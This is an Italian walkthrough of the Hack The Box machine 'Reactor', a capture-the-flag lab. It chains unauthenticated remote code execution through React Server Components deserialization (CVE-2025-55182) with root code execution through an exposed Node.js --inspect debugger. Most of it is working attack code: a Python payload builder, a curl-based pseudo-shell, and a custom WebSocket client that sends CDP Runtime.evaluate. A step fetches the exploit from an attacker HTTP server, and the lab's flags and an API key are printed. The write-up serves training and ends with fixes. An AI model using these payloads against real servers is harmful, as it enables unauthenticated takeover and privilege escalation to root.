
Walkthrough completo della macchina Reactor di HTB — sfrutta la CVE-2025-55182 per ottenere una shell, poi ottieni root tramite un debugger Node.js esposto. Passo dopo passo con screenshot.
[!CAUTION] Avviso di spoiler. Questa è una walkthrough completa che include le flag. Se vuoi risolvere la macchina da solo, chiudi questa pagina adesso e torna quando sei bloccato.
| Campo | Dettagli |
|---|---|
| Nome | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| Difficoltà | Media |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Porte | 22 (SSH), 3000 (Next.js) |
| Autore | sonnycroco |
Reactor è incentrato su una dashboard di monitoraggio di una centrale nucleare chiamata ReactorWatch. La macchina riguarda esclusivamente due vulnerabilità concatenate: niente congetture, niente falsi indizi, niente forza bruta.
Il percorso: una build pre-release di React 19 espone una falla critica di deserializzazione che consente l'esecuzione di codice in remoto non autenticata con una singola richiesta HTTP. Da lì, una porta di debugging Node.js in esecuzione come root ti consegna l'accesso completo al sistema tramite un messaggio WebSocket.
Catena di attacco:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
La prima cosa da fare su qualsiasi nuova macchina è scoprire cosa è in ascolto. Una scansione completa delle porte con rilevamento dei servizi, per non perdere nulla.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Solo due porte. SSH è un vicolo cieco a questo punto, visto che non abbiamo ancora credenziali. La porta 3000 è il bersaglio. Nmap ci dice già che si tratta di Next.js 15.0.3, un ottimo indizio.
Prima di lanciare exploit contro qualsiasi cosa, voglio conoscere la versione esatta di tutto ciò che è in esecuzione. Gli header HTTP hanno già rivelato Next.js, ma la versione di React è il dettaglio critico. React 19 è stato in pre-release per molto tempo e ha avuto diversi problemi seri prima della release stabile.
Recupero uno dei chunk JavaScript lato client per verificare:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Quel rc nella stringa della versione è la prova fumante. Si tratta di una release candidate di React 19, non della versione stabile. I database CVE confermano: CVE-2025-55182 colpisce esattamente questa build. CVSS 10.0.
Già che ci sono, controllo gli header per eventuali indizi sul middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Nessun header x-middleware-rewrite presente, il che significa che non c'è alcun middleware Next.js installato. Questo esclude CVE-2025-29927 (il bypass del middleware), utile da sapere per non perderci tempo.
Cosa sappiamo:
experimental.serverActions abilitato19.0.0-rc, vulnerabile a CVE-2025-55182
I Server Components di React 19 hanno introdotto le Server Actions, funzioni lato server richiamabili dal client tramite POST HTTP con un header Next-Action. Il parser multipart che gestisce queste richieste ha una falla critica: deserializza in modo non sicuro un tipo di riferimento chiamato $1:__proto__:then.
Creando un body multipart che imposta _response._prefix a JavaScript arbitrario, un attaccante fa sì che quel codice venga valutato sul server. L'output viene poi esfiltrato tramite un'eccezione che Next.js usa internamente per i redirect (NEXT_REDIRECT) e finisce codificato nell'header di risposta x-action-redirect.
Qualsiasi POST a qualsiasi pagina con l'header Next-Action attiva la vulnerabilità. Nessun controllo di autenticazione, nessun endpoint speciale. Basta inviare il payload a / e sei dentro.
Un piccolo helper Python che prende un comando shell come input, costruisce il payload multipart e lo scrive su disco perché curl possa inviarlo:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Racchiudendo tutto in una funzione shell per un'esperienza da pseudo-shell:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
Lo scambio HTTP grezzo. L'output del comando è proprio lì nell'header di redirect:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
Siamo dentro come account di servizio node. Nessuna autenticazione, nessuna forza bruta, nessuna ingegneria sociale. Solo una POST HTTP. Ecco come appare un CVSS 10.0 nella pratica.

[!WARNING] Due cose da sapere prima di continuare:
execSyncè sincrono e blocca il thread di risposta. Non provare a creare una reverse shell con esso; usa invece laexec()asincrona, altrimenti il server si bloccherà.- Il template literal di
NEXT_REDIRECTsi rompe con i newline. Converti sempre l'output multi-linea attraversopaste -sd,per appiattirlo prima che finisca nell'URL.
nodeCon l'esecuzione di codice stabilita, l'obiettivo successivo è capire l'ambiente: cosa c'è su questa macchina, quali credenziali sono in giro e se esiste un percorso evidente verso un utente più privilegiato.
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
C'è un database SQLite su disco. Controllo cosa contiene:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
Un account admin con un hash MD5. Provandolo con John e rockyou non si cracka. Va bene, il cracking degli hash si rivelerà inutile una volta trovato il vero percorso di privesc. Lo metto da parte e continuo.
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
C'è un utente chiamato engineer. La flag utente si trova nella sua directory home.
[!NOTE] In alcune istanze di questa macchina,
/home/engineer/ha permessi700, il che significa che l'account di servizionodenon può leggerla direttamente. Se è il tuo caso, niente panico. Il percorso di privesc verso root coperto nello Step 6 ti permette di leggere entrambe le flag come root.
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
Se /home/engineer/ è bloccato sulla tua istanza, vai direttamente allo Step 6 e prendi entrambe le flag come root.
Una volta stabilito un punto d'appoggio, controllo quali processi sono in esecuzione sulla macchina. Il ps aux completo è lungo, quindi filtro per qualsiasi cosa legata a Node.js:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Eccolo. Un secondo processo Node.js in esecuzione come root, avviato con il flag --inspect in ascolto su 127.0.0.1:9229. È uno script di monitoraggio uptime che qualcuno ha avviato con il debugger Node.js abilitato e ha lasciato lì.
Il flag --inspect apre il Chrome DevTools Protocol (CDP), lo stesso protocollo usato dagli strumenti di sviluppo del tuo browser. Quando ti ci connetti, puoi dire al processo di valutare JavaScript arbitrario nel suo contesto V8. Poiché questo processo gira come root, anche qualsiasi cosa valuti gira come root.
L'unica barriera è che il debugger è in ascolto su localhost, ma abbiamo già esecuzione di codice sulla macchina come node, quindi possiamo raggiungerlo senza problemi.
Confermo che il debugger è attivo e recupero l'URL WebSocket:
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] L'UUID nell'URL WebSocket (
1d85ee80-...) è unico per ogni istanza del processo. Il tuo sarà diverso. Copialo dall'output JSON e aggiornalo nello script dell'exploit prima di eseguirlo.

Per inviare un comando Runtime.evaluate all'inspector, serve un client WebSocket. Il pacchetto npm ws non è presente sul target, quindi ne scrivo uno minimale da zero usando solo i moduli integrati di Node.js: net per la connessione TCP e crypto per il mascheramento dei frame WebSocket.
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] All'interno di una chiamata CDP
Runtime.evaluate, la funzionerequire()semplice non è nell'ambito globale, anche seworker.jsè di per sé un modulo CommonJS. Devi usareprocess.mainModule.require(...). Usarerequire()nudo genererà un ReferenceError e nessun output.
Servo lo script dalla macchina d'attacco:
python3 -m http.server 8080 --directory /tmp/www &
Lo scarico e lo eseguo sul target tramite la catena RCE:
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
Risposta:
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
Stiamo valutando JavaScript arbitrario all'interno di un processo in esecuzione come uid=0.

Stesso exploit, comando diverso in CMD:
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

Tempo totale dalla prima richiesta alla root: meno di 10 minuti una volta capito il CVE. Nessuna forza bruta, nessun cracking di password, nessun falso indizio.
CVE-2025-29927 (bypass del middleware) era in tendenza nello stesso periodo di CVE-2025-55182. Verifica sempre se il middleware è effettivamente presente prima di testarne il bypass. La presenza o l'assenza dell'header x-middleware-rewrite te lo dice immediatamente. Inseguire il CVE sbagliato è un facile spreco di tempo.
execSync romperà le reverse shellBlocca l'intero thread di risposta del server finché il sottoprocesso non termina. Avviare bash -i o una shell netcat attraverso di esso bloccherà entrambi i lati. Usa la exec() asincrona di child_process se hai bisogno di una shell interattiva da questo exploit.
L'output dei comandi viene incorporato in un template literal JavaScript: NEXT_REDIRECT;push;/login?a=${res};307;. Qualsiasi newline letterale in res rompe il template literal e non restituisce nulla. Passa tutto attraverso paste -sd, per unire le righe prima dell'esfiltrazione.
require non è globale nel contesto CDPQuando invii Runtime.evaluate a un inspector Node.js, esegui all'interno di un isolato V8 che non espone la funzione require di CommonJS globalmente, anche se il processo target è di per sé un modulo CommonJS. Usa sempre process.mainModule.require("module") nelle espressioni CDP.
In alcune istanze di questa macchina, l'account di servizio node può leggere direttamente /home/engineer/user.txt. In altre, i permessi 700 sulla directory home lo bloccano. Il percorso di privesc verso root funziona sempre e ti dà entrambe le flag indipendentemente da ciò.
| Vulnerabilità | Fix |
|---|
| CVE-2025-55182 | Aggiornare React da 19.0.0-rc alla release stabile di React 19. Aggiornare Next.js alla versione 15.2.3 o successiva. |
Node.js --inspect come root | Rimuovere completamente --inspect da tutti i processi di produzione. Non associare mai l'inspector ad alcun indirizzo, nemmeno 127.0.0.1, su sistemi condivisi. Usare un ambiente isolato dedicato per il debugging. |
| Database SQLite nella directory dell'applicazione | Spostare il database fuori dalla web root. Limitare i permessi del filesystem in modo che il processo web possa accedere solo a ciò di cui ha strettamente bisogno. |